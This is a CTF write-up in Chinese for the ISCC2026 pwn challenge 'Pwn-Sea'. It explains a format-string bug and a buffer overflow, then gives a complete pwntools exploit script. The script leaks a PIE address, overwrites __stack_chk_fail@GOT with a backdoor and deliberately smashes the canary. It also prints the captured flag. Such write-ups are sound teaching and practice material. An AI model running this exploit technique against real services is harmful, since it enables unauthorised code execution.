Pwn-Sea
ISCC2026 WriteUp 提交模板
Pwn-Sea
你是一名航天局的紧急维护专家,负责的 “寂静之海” 深空探测器在穿越小行星带时受到严重损伤,导致主要通信链路彻底瘫痪。你现在仅能通过一条紧急诊断链路向探测器发送指令。
探测器的紧急维护固件中包含一个后门,它的作用是重启通信模块,你需要在有限机会内,准确找到后门,恢复探测器通信。
题目地址:39.96.193.120:10009
解题思路
1 进入main函数,后看- process_emergency_command函数

有两个漏洞:
printf(buf)格式化字符串漏洞。buf只有 104 字节,但read读了0x7c == 124字节,可以覆盖到 canary。
其次还有个后门函数:

看下保护:

有PIE
先测试下格式化偏移,发现是8,且 %31$p 可以泄露 main 的真实地址
def fmt_attack():
ru(b'> ')
fmt = b'-'.join([f'%{i}$p'.encode() for i in range(1, 31)]) #%i$p:格式化字符串泄露第 i 个参数的地址
sl(fmt)
print(io.recvrepeat(1).decode('latin-1', errors='replace'))
io.close()
发现%31$p泄露低地址刚好等于main = 0x13cc低字节。
所以有思路:
- 第一次输入:
%31$p\x00 - 解析泄露值,计算
pie_base = main_leak - elf.symbols["main"] - 再算出:
__stack_chk_fail@got = pie_base + elf.got["__stack_chk_fail"]backdoor = pie_base + elf.symbols["system_reboot_comms"]
第二次输入用格式化字符串把 __stack_chk_fail@GOT 改成后门地址。随后把整个 payload 补到 124 字节,故意覆盖 canary。
这样就会触发我们修改的__stack_chk_fail@got执行system_reboot_comms。

ISCC{62d0908f-196e-4fdf-8a42-9c14e56a7347}
Exp
from pwn import *
import os
import re
import sys
# ==============全局配置=======================
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
ELFpath = os.path.join(BASE_DIR, "sea")
LOCAL = False
HOST = "39.96.193.120"
PORT = 10009
NOASLR = False
# ===============初始化========================
context(os="linux", arch="amd64", log_level="debug")
if LOCAL:
io = process(ELFpath, aslr=not NOASLR)
else:
io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath, checksec=False)
# =================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
# ====================业务常量====================
FMT_OFFSET = 8
OVERFLOW_LEN = 124
# ================工具函数====================
def debug():
input()
gdb.attach(io)
def get_flag_blob(blob):
match = re.search(rb"ISCC\{[^}\r\n]+\}", blob)
return match.group(0).decode() if match else None
def attack():
ru(b"> ")
# 先泄露 main 的实际地址,算出 PIE 基址。
sd(b"%31$p\x00")
leak = ru(b"> ")
match = re.search(rb"0x([0-9a-fA-F]+)", leak)
if not match:
raise ValueError(f"failed to parse leak: {leak!r}")
main_leak = int(match.group(1), 16)
pie_base = main_leak - elf.symbols["main"]
stack_chk_fail_got = pie_base + elf.got["__stack_chk_fail"]
backdoor = pie_base + elf.symbols["system_reboot_comms"]
log.info(f"main leak = {main_leak:#x}")
log.info(f"PIE base = {pie_base:#x}")
log.info(f"__stack_chk_fail@got = {stack_chk_fail_got:#x}")
log.info(f"backdoor = {backdoor:#x}")
# 改写 __stack_chk_fail@GOT 到后门,再故意破坏 canary 触发后门。
payload = fmtstr_payload(FMT_OFFSET, {stack_chk_fail_got: backdoor}, write_size="short")
payload = payload.ljust(OVERFLOW_LEN, b"A")
sd(payload)
result = io.recvrepeat(2)
flag = get_flag_blob(result)
if flag:
print(flag)
else:
sys.stdout.buffer.write(result)
if not result.endswith(b"\n"):
sys.stdout.buffer.write(b"\n")
# ============实现========================
attack()
io.close()

浙公网安备 33010602011771号